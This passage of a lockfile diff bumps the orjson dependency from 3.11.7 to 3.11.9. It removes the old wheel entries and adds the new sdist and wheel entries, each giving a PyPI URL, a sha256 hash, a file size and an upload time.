"sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d", size = 126245, upload-time = "2026-02-02T15:37:45.18Z" }, - { url = "https://files.pythonhosted.org/packages/80/bf/76f4f1665f6983385938f0e2a5d7efa12a58171b8456c252f3bae8a4cf75/orjson-3.11.7-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f", size = 228545, upload-time = "2026-02-02T15:37:46.376Z" }, - { url = "https://files.pythonhosted.org/packages/79/53/6c72c002cb13b5a978a068add59b25a8bdf2800ac1c9c8ecdb26d6d97064/orjson-3.11.7-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b", size = 125224, upload-time = "2026-02-02T15:37:47.697Z" }, - { url = "https://files.pythonhosted.org/packages/2c/83/10e48852865e5dd151bdfe652c06f7da484578ed02c5fca938e3632cb0b8/orjson-3.11.7-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a", size = 128154, upload-time = "2026-02-02T15:37:48.954Z" }, - { url = "https://files.pythonhosted.org/packages/6e/52/a66e22a2b9abaa374b4a081d410edab6d1e30024707b87eab7c734afe28d/orjson-3.11.7-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10", size = 123548, upload-time = "2026-02-02T15:37:50.187Z" }, - { url = "https://files.pythonhosted.org/packages/de/38/605d371417021359f4910c496f764c48ceb8997605f8c25bf1dfe58c0ebe/orjson-3.11.7-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ed46f17096e28fb28d2975834836a639af7278aa87c84f68ab08fbe5b8bd75fa", size = 129000, upload-time = "2026-02-02T15:37:51.426Z" }, - { url = "https://files.pythonhosted.org/packages/44/98/af32e842b0ffd2335c89714d48ca4e3917b42f5d6ee5537832e069a4b3ac/orjson-3.11.7-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8", size = 141686, upload-time = "2026-02-02T15:37:52.607Z" }, - { url = "https://files.pythonhosted.org/packages/96/0b/fc793858dfa54be6feee940c1463370ece34b3c39c1ca0aa3845f5ba9892/orjson-3.11.7-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f", size = 130812, upload-time = "2026-02-02T15:37:53.944Z" }, - { url = "https://files.pythonhosted.org/packages/dc/91/98a52415059db3f374757d0b7f0f16e3b5cd5976c90d1c2b56acaea039e6/orjson-3.11.7-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad", size = 133440, upload-time = "2026-02-02T15:37:55.615Z" }, - { url = "https://files.pythonhosted.org/packages/dc/b6/cb540117bda61791f46381f8c26c8f93e802892830a6055748d3bb1925ab/orjson-3.11.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f904c24bdeabd4298f7a977ef14ca2a022ca921ed670b92ecd16ab6f3d01f867", size = 138386, upload-time = "2026-02-02T15:37:56.814Z" }, - { url = "https://files.pythonhosted.org/packages/63/1a/50a3201c334a7f17c231eee5f841342190723794e3b06293f26e7cf87d31/orjson-3.11.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d", size = 408853, upload-time = "2026-02-02T15:37:58.291Z" }, - { url = "https://files.pythonhosted.org/packages/87/cd/8de1c67d0be44fdc22701e5989c0d015a2adf391498ad42c4dc589cd3013/orjson-3.11.7-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab", size = 144130, upload-time = "2026-02-02T15:38:00.163Z" }, - { url = "https://files.pythonhosted.org/packages/0f/fe/d605d700c35dd55f51710d159fc54516a280923cd1b7e47508982fbb387d/orjson-3.11.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2", size = 134818, upload-time = "2026-02-02T15:38:01.507Z" }, - { url = "https://files.pythonhosted.org/packages/e4/e4/15ecc67edb3ddb3e2f46ae04475f2d294e8b60c1825fbe28a428b93b3fbd/orjson-3.11.7-cp312-cp312-win32.whl", hash = "sha256:f4f7c956b5215d949a1f65334cf9d7612dde38f20a95f2315deef167def91a6f", size = 127923, upload-time = "2026-02-02T15:38:02.75Z" }, - { url = "https://files.pythonhosted.org/packages/34/70/2e0855361f76198a3965273048c8e50a9695d88cd75811a5b46444895845/orjson-3.11.7-cp312-cp312-win_amd64.whl", hash = "sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74", size = 125007, upload-time = "2026-02-02T15:38:04.032Z" }, - { url = "https://files.pythonhosted.org/packages/68/40/c2051bd19fc467610fed469dc29e43ac65891571138f476834ca192bc290/orjson-3.11.7-cp312-cp312-win_arm64.whl", hash = "sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5", size = 126089, upload-time = "2026-02-02T15:38:05.297Z" }, - { url = "https://files.pythonhosted.org/packages/89/25/6e0e52cac5aab51d7b6dcd257e855e1dec1c2060f6b28566c509b4665f62/orjson-3.11.7-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733", size = 228390, upload-time = "2026-02-02T15:38:06.8Z" }, - { url = "https://files.pythonhosted.org/packages/a5/29/a77f48d2fc8a05bbc529e5ff481fb43d914f9e383ea2469d4f3d51df3d00/orjson-3.11.7-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:d897e81f8d0cbd2abb82226d1860ad2e1ab3ff16d7b08c96ca00df9d45409ef4", size = 125189, upload-time = "2026-02-02T15:38:08.181Z" }, - { url = "https://files.pythonhosted.org/packages/89/25/0a16e0729a0e6a1504f9d1a13cdd365f030068aab64cec6958396b9969d7/orjson-3.11.7-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785", size = 128106, upload-time = "2026-02-02T15:38:09.41Z" }, - { url = "https://files.pythonhosted.org/packages/66/da/a2e505469d60666a05ab373f1a6322eb671cb2ba3a0ccfc7d4bc97196787/orjson-3.11.7-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d06e5c5fed5caedd2e540d62e5b1c25e8c82431b9e577c33537e5fa4aa909539", size = 123363, upload-time = "2026-02-02T15:38:10.73Z" }, - { url = "https://files.pythonhosted.org/packages/23/bf/ed73f88396ea35c71b38961734ea4a4746f7ca0768bf28fd551d37e48dd0/orjson-3.11.7-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1", size = 129007, upload-time = "2026-02-02T15:38:12.138Z" }, - { url = "https://files.pythonhosted.org/packages/73/3c/b05d80716f0225fc9008fbf8ab22841dcc268a626aa550561743714ce3bf/orjson-3.11.7-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f50979824bde13d32b4320eedd513431c921102796d86be3eee0b58e58a3ecd1", size = 141667, upload-time = "2026-02-02T15:38:13.398Z" }, - { url = "https://files.pythonhosted.org/packages/61/e8/0be9b0addd9bf86abfc938e97441dcd0375d494594b1c8ad10fe57479617/orjson-3.11.7-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705", size = 130832, upload-time = "2026-02-02T15:38:14.698Z" }, - { url = "https://files.pythonhosted.org/packages/c9/ec/c68e3b9021a31d9ec15a94931db1410136af862955854ed5dd7e7e4f5bff/orjson-3.11.7-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace", size = 133373, upload-time = "2026-02-02T15:38:16.109Z" }, - { url = "https://files.pythonhosted.org/packages/d2/45/f3466739aaafa570cc8e77c6dbb853c48bf56e3b43738020e2661e08b0ac/orjson-3.11.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b", size = 138307, upload-time = "2026-02-02T15:38:17.453Z" }, - { url = "https://files.pythonhosted.org/packages/e1/84/9f7f02288da1ffb31405c1be07657afd1eecbcb4b64ee2817b6fe0f785fa/orjson-3.11.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157", size = 408695, upload-time = "2026-02-02T15:38:18.831Z" }, - { url = "https://files.pythonhosted.org/packages/18/07/9dd2f0c0104f1a0295ffbe912bc8d63307a539b900dd9e2c48ef7810d971/orjson-3.11.7-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3", size = 144099, upload-time = "2026-02-02T15:38:20.28Z" }, - { url = "https://files.pythonhosted.org/packages/a5/66/857a8e4a3292e1f7b1b202883bcdeb43a91566cf59a93f97c53b44bd6801/orjson-3.11.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223", size = 134806, upload-time = "2026-02-02T15:38:22.186Z" }, - { url = "https://files.pythonhosted.org/packages/0a/5b/6ebcf3defc1aab3a338ca777214966851e92efb1f30dc7fc8285216e6d1b/orjson-3.11.7-cp313-cp313-win32.whl", hash = "sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3", size = 127914, upload-time = "2026-02-02T15:38:23.511Z" }, - { url = "https://files.pythonhosted.org/packages/00/04/c6f72daca5092e3117840a1b1e88dfc809cc1470cf0734890d0366b684a1/orjson-3.11.7-cp313-cp313-win_amd64.whl", hash = "sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757", size = 124986, upload-time = "2026-02-02T15:38:24.836Z" }, - { url = "https://files.pythonhosted.org/packages/03/ba/077a0f6f1085d6b806937246860fafbd5b17f3919c70ee3f3d8d9c713f38/orjson-3.11.7-cp313-cp313-win_arm64.whl", hash = "sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539", size = 126045, upload-time = "2026-02-02T15:38:26.216Z" }, - { url = "https://files.pythonhosted.org/packages/e9/1e/745565dca749813db9a093c5ebc4bac1a9475c64d54b95654336ac3ed961/orjson-3.11.7-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:de0a37f21d0d364954ad5de1970491d7fbd0fb1ef7417d4d56a36dc01ba0c0a0", size = 228391, upload-time = "2026-02-02T15:38:27.757Z" }, - { url = "https://files.pythonhosted.org/packages/46/19/e40f6225da4d3aa0c8dc6e5219c5e87c2063a560fe0d72a88deb59776794/orjson-3.11.7-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0", size = 125188, upload-time = "2026-02-02T15:38:29.241Z" }, - { url = "https://files.pythonhosted.org/packages/9d/7e/c4de2babef2c0817fd1f048fd176aa48c37bec8aef53d2fa932983032cce/orjson-3.11.7-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6", size = 128097, upload-time = "2026-02-02T15:38:30.618Z" }, - { url = "https://files.pythonhosted.org/packages/eb/74/233d360632bafd2197f217eee7fb9c9d0229eac0c18128aee5b35b0014fe/orjson-3.11.7-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf", size = 123364, upload-time = "2026-02-02T15:38:32.363Z" }, - { url = "https://files.pythonhosted.org/packages/79/51/af79504981dd31efe20a9e360eb49c15f06df2b40e7f25a0a52d9ae888e8/orjson-3.11.7-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5", size = 129076, upload-time = "2026-02-02T15:38:33.68Z" }, - { url = "https://files.pythonhosted.org/packages/67/e2/da898eb68b72304f8de05ca6715870d09d603ee98d30a27e8a9629abc64b/orjson-3.11.7-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892", size = 141705, upload-time = "2026-02-02T15:38:34.989Z" }, - { url = "https://files.pythonhosted.org/packages/c5/89/15364d92acb3d903b029e28d834edb8780c2b97404cbf7929aa6b9abdb24/orjson-3.11.7-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e", size = 130855, upload-time = "2026-02-02T15:38:36.379Z" }, - { url = "https://files.pythonhosted.org/packages/c2/8b/ecdad52d0b38d4b8f514be603e69ccd5eacf4e7241f972e37e79792212ec/orjson-3.11.7-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1", size = 133386, upload-time = "2026-02-02T15:38:37.704Z" }, - { url = "https://files.pythonhosted.org/packages/b9/0e/45e1dcf10e17d0924b7c9162f87ec7b4ca79e28a0548acf6a71788d3e108/orjson-3.11.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183", size = 138295, upload-time = "2026-02-02T15:38:39.096Z" }, - { url = "https://files.pythonhosted.org/packages/63/d7/4d2e8b03561257af0450f2845b91fbd111d7e526ccdf737267108075e0ba/orjson-3.11.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650", size = 408720, upload-time = "2026-02-02T15:38:40.634Z" }, - { url = "https://files.pythonhosted.org/packages/78/cf/d45343518282108b29c12a65892445fc51f9319dc3c552ceb51bb5905ed2/orjson-3.11.7-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141", size = 144152, upload-time = "2026-02-02T15:38:42.262Z" }, - { url = "https://files.pythonhosted.org/packages/a9/3a/d6001f51a7275aacd342e77b735c71fa04125a3f93c36fee4526bc8c654e/orjson-3.11.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2", size = 134814, upload-time = "2026-02-02T15:38:43.627Z" }, - { url = "https://files.pythonhosted.org/packages/1d/d3/f19b47ce16820cc2c480f7f1723e17f6d411b3a295c60c8ad3aa9ff1c96a/orjson-3.11.7-cp314-cp314-win32.whl", hash = "sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576", size = 127997, upload-time = "2026-02-02T15:38:45.06Z" }, - { url = "https://files.pythonhosted.org/packages/12/df/172771902943af54bf661a8d102bdf2e7f932127968080632bda6054b62c/orjson-3.11.7-cp314-cp314-win_amd64.whl", hash = "sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1", size = 124985, upload-time = "2026-02-02T15:38:46.388Z" }, - { url = "https://files.pythonhosted.org/packages/6f/1c/f2a8d8a1b17514660a614ce5f7aac74b934e69f5abc2700cc7ced882a009/orjson-3.11.7-cp314-cp314-win_arm64.whl", hash = "sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d", size = 126038, upload-time = "2026-02-02T15:38:47.703Z" }, +version = "3.11.9" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/0c/964746fcafbd16f8ff53219ad9f6b412b34f345c75f384ad434ceaadb538/orjson-3.11.9.tar.gz", hash = "sha256:4fef17e1f8722c11587a6ef18e35902450221da0028e65dbaaa543619e68e48f", size = 5599163, upload-time = "2026-05-06T15:11:08.309Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/5d/b95ca542a001135cc250a49370f282f578c8f4e46cc8617d73775297eea8/orjson-3.11.9-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:135869ef917b8704ea0a94e01620e0c05021c15c52036e4663baffe75e72f8ce", size = 228986, upload-time = "2026-05-06T15:09:14.765Z" }, + { url = "https://files.pythonhosted.org/packages/80/01/be33fbff646e22f93398429ea645f20d2097aea1a6cdc1e6628e70125f83/orjson-3.11.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:115ab5f5f4a0f203cc2a5f0fb09aee503a3f771aa08392949ab5ca230c4fbdbd", size = 132558, upload-time = "2026-05-06T15:09:17.431Z" }, + { url = "https://files.pythonhosted.org/packages/4e/61/73d49333bba660a075daccca10970dc6409ce1cf42ae4046646a19468aad/orjson-3.11.9-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4da3c38a2083ca4aaf9c2a36776cce3e9328e6647b10d118948f3cfb4913ffe4", size = 128213, upload-time = "2026-05-06T15:09:18.719Z" }, + { url = "https://files.pythonhosted.org/packages/1f/7d/30e844b3dac3f74aed66b1f984daf9db3c98c0328c03d965a9e8dc06449e/orjson-3.11.9-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53b50b0e14084b8f7e29c5ce84c5af0f1160169b30d8a6914231d97d2fe297d4", size = 135430, upload-time = "2026-05-06T15:09:20.257Z" }, + { url = "https://files.pythonhosted.org/packages/16/64/bd815f5c610b3facc204f26ba94e87a9eb49b0d83de3d5fc1eee2402d91b/orjson-3.11.9-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:231742b4a11dad8d5380a435962c57e91b7c37b79be858f4ef1c0df1a259897e", size = 146178, upload-time = "2026-05-06T15:09:21.616Z" }, + { url = "https://files.pythonhosted.org/packages/c7/35/e744fd36c79b339d27beb06068b5a08a8882ef5418804d0ce545a31f718d/orjson-3.11.9-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:34fd2317602587321faab75ab76c623a0117e80841a6413654f04e47f339a8fb", size = 133068, upload-time = "2026-05-06T15:09:23.228Z" }, + { url = "https://files.pythonhosted.org/packages/2a/56/d54152b67b63a0b3e556cfc549d6ce84f74d7f425ddeadc6c8a74d913da7/orjson-3.11.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:71f3db16e69b667b132e0f305a833d5497da302d801508cbb051ed9a9819da47", size = 134217, upload-time = "2026-05-06T15:09:24.847Z" }, + { url = "https://files.pythonhosted.org/packages/0b/ee/66154baf69f71c7164a268a5e888908aec5a0819d13c81d5e2755a257758/orjson-3.11.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0b34789fa0da61cf7bef0546b09c738fb195331e017e477096d129e9105ab03d", size = 141917, upload-time = "2026-05-06T15:09:26.647Z" }, + { url = "https://files.pythonhosted.org/packages/09/d3/c5824260ca8b9d7ba82648d042a3f8f4815d18c15bb98a1f30edd1bb2d83/orjson-3.11.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:87e4d4ab280b0c87424d47695bec2182caf8cfc17879ea78dab76680194abc13", size = 415356, upload-time = "2026-05-06T15:09:28.252Z" }, + { url = "https://files.pythonhosted.org/packages/64/cb/509c2e816fe4df641d93dc92f6a89adc8df3ada8ebdee2bd44aba3264c3c/orjson-3.11.9-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ace6c58523302d3b97b6ac5c38a5298a54b473762b6be82726b4265c41029f92", size = 148112, upload-time = "2026-05-06T15:09:29.783Z" }, + { url = "https://files.pythonhosted.org/packages/db/b5/3ceae56d2e4962979eedb023ba6a46a4bb65f333960379be0ca470686220/orjson-3.11.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:97d0d932803c1b164fde11cb542a9efcb1e0f63b184537cca65887147906ff48", size = 137112, upload-time = "2026-05-06T15:09:31.432Z" }, + { url = "https://files.pythonhosted.org/packages/d7/7a/81fa3f2c7bef79b04cf2ab7838e5ac74b1f12511ceab979759b0275d6bb4/orjson-3.11.9-cp310-cp310-win32.whl", hash = "sha256:b3afcf569c15577a9fe64627292daa3e6b3a70f4fb77a5df246a87ec21681b94", size = 131706, upload-time = "2026-05-06T15:09:32.707Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d8/b64600f9083c7f151ad39717a5877fccbeb0ef6d7efcb55f971ce00b6bee/orjson-3.11.9-cp310-cp310-win_amd64.whl", hash = "sha256:8697ab6a080a5c46edaad50e2bc5bd8c7ca5c66442d24104fa44ec74910a8244", size = 127282, upload-time = "2026-05-06T15:09:33.955Z" }, + { url = "https://files.pythonhosted.org/packages/1e/51/3fb9e65ae76ee97bd611869a503fa3fc0a6e81dd8b737cf3003f682df7ff/orjson-3.11.9-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:f01c4818b3fc9b0da8e096722a84318071eaa118df35f6ed2344da0e73a5444f", size = 228522, upload-time = "2026-05-06T15:09:35.362Z" }, + { url = "https://files.pythonhosted.org/packages/16/fa/9d54b07cb3f3b0bfd57841478e42d7a0ece4a9f49f9907eecf5a45461687/orjson-3.11.9-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:3ebca4179031ee716ed076ffadc29428e900512f6fccee8614c9983157fcf19c", size = 128463, upload-time = "2026-05-06T15:09:37.063Z" }, + { url = "https://files.pythonhosted.org/packages/88/b1/6ceafc2eefd0a553e3be77ce6c49d107e772485d9568629376171c50e634/orjson-3.11.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48ee05097750de0ff69ed5b7bbcf0732182fd57a24043dcc2a1da780a5ead3a5", size = 132306, upload-time = "2026-05-06T15:09:38.299Z" }, + { url = "https://files.pythonhosted.org/packages/ea/76/f11311285324a40aab1e3031385c50b635a7cd0734fdaf60c7e89a696f60/orjson-3.11.9-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6082706765a95a6680d812e1daf1c0cfe8adec7831b3ff3b625693f3b461b1c", size = 127988, upload-time = "2026-05-06T15:09:39.597Z" }, + { url = "https://files.pythonhosted.org/packages/9e/85/0ef63bcf1337f44031ce9b91b1919563f62a37527b3ea4368bb15a22e5d7/orjson-3.11.9-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:277fefe9d76ee17eb14debf399e3533d4d63b5f677a4d3719eb763536af1f4bd", size = 135188, upload-time = "2026-05-06T15:09:40.957Z" }, + { url = "https://files.pythonhosted.org/packages/05/94/b0d27090ea8a2095db3c2bd1b1c96f96f19bbb494d7fef33130e846e613d/orjson-3.11.9-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03db380e3780fa0015ed776a90f20e8e20bb11dde13b216ce19e5718e3dfba62", size = 145937, upload-time = "2026-05-06T15:09:42.249Z" }, + { url = "https://files.pythonhosted.org/packages/09/eb/75d50c29c05b8054013e221e598820a365c8e64065312e75e202ed880709/orjson-3.11.9-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33d7d766701847dc6729846362dc27895d2f2d2251264f9d10e7cb9878194877", size = 132758, upload-time = "2026-05-06T15:09:43.945Z" }, + { url = "https://files.pythonhosted.org/packages/49/bd/360686f39348aa88827cb6fbf7dc606fd41c831a35235e1abf1db8e3a9e6/orjson-3.11.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:147302878da387104b66bb4a8b0227d1d487e976ce41a8501916161072ed87b1", size = 133971, upload-time = "2026-05-06T15:09:45.239Z" }, + { url = "https://files.pythonhosted.org/packages/0e/30/3178eb16f3221aeef068b6f1f1ebe05f656ea5c6dffe9f6c917329fe17a3/orjson-3.11.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3513550321f8c8c811a7c3297b8a630e82dc08e4c10216d07703c997776236cd", size = 141685, upload-time = "2026-05-06T15:09:46.858Z" }, + { url = "https://files.pythonhosted.org/packages/5f/f1/ff2f19ed0225f9680fafa42febca3570dd59444ebf190980738d376214c2/orjson-3.11.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c5d001196b89fa9cf0a4ab79766cd835b991a166e4b621ba95089edc50c429ff", size = 415167, upload-time = "2026-05-06T15:09:48.312Z" }, + { url = "https://files.pythonhosted.org/packages/9b/61/863bddf0da6e9e586765414debd54b4e58db05f560902b6d00658cb88636/orjson-3.11.9-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:16969c9d369c98eb084889c6e4d2d39b77c7eb38ceccf8da2a9fff62ae908980", size = 147913, upload-time = "2026-05-06T15:09:49.733Z" }, + { url = "https://files.pythonhosted.org/packages/b6/8a/4081492586d75b073d60c5271a8d0f05a0955cabf1e34c8473f6fcd84235/orjson-3.11.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:63e0efbc991250c0b3143488fa57d95affcabbfc63c99c48d625dd37779aafe2", size = 136959, upload-time = "2026-05-06T15:09:51.311Z" }, + { url = "https://files.pythonhosted.org/packages/0d/bd/70b6ab193594d7abb875320c0a7c8335e846f28968c432c31042409c3c8d/orjson-3.11.9-cp311-cp311-win32.whl", hash = "sha256:14ed654580c1ed2bc217352ec82f91b047aef82951aa71c7f64e0dcb03c0e180", size = 131533, upload-time = "2026-05-06T15:09:52.637Z" }, + { url = "https://files.pythonhosted.org/packages/3f/17/1a1a228183d62d1b77e2c30d210f47dd4768b310ebe1607c63e3c0e3a71e/orjson-3.11.9-cp311-cp311-win_amd64.whl", hash = "sha256:57ea77fb70a448ce87d18fca050193202a3da5e54598f6501ca5476fb66cfe02", size = 127106, upload-time = "2026-05-06T15:09:54.204Z" }, + { url = "https://files.pythonhosted.org/packages/b8/95/285de5fa296d09681ee9c546cd4a8aeb773b701cf343dc125994f4d52953/orjson-3.11.9-cp311-cp311-win_arm64.whl", hash = "sha256:19b72ed11572a2ee51a67a903afbe5af504f84ed6f529c0fe44b0ab3fb5cc697", size = 126848, upload-time = "2026-05-06T15:09:55.551Z" }, + { url = "https://files.pythonhosted.org/packages/16/6d/11867a3ffa3a3608d84a4de51ef4dd0896d6b5cc9132fbe1daf593e677bc/orjson-3.11.9-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9ef6fe90aadef185c7b128859f40beb24720b4ecea95379fc9000931179c3a49", size = 228515, upload-time = "2026-05-06T15:09:57.265Z" }, + { url = "https://files.pythonhosted.org/packages/24/75/05912954c8b288f34fcf5cd4b9b071cb4f6e77b9961e175e56ebb258089f/orjson-3.11.9-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:e5c9b8f28e726e97d97696c826bc7bea5d71cecd63576dba92924a32c1961291", size = 128409, upload-time = "2026-05-06T15:09:59.063Z" }, + { url = "https://files.pythonhosted.org/packages/ab/86/1c3a47df3bc8191ea9ac51603bbb872a95167a364320c269f2557911f406/orjson-3.11.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26a473dbb4162108b27901492546f83c76fdcea3d0eadff00ae7a07e18dcce09", size = 132106, upload-time = "2026-05-06T15:10:00.798Z" }, + { url = "https://files.pythonhosted.org/packages/d7/cf/b33b5f3e695ae7d63feef9d915c37cc3b8f465493dcd4f8e0b4c697a2366/orjson-3.11.9-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:011382e2a60fda9d46f1cdee31068cfc52ffe952b587d683ec0463002802a0f4", size = 127864, upload-time = "2026-05-06T15:10:02.15Z" }, + { url = "https://files.pythonhosted.org/packages/31/6a/6cf69385a58208024fcb8c014e2141b8ce838aba6492b589f8acfff97fab/orjson-3.11.9-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2d3dc759490128c5c1711a53eeaa8ee1d437fd0038ffd2b6008abf46db3f882", size = 135213, upload-time = "2026-05-06T15:10:03.515Z" }, + { url = 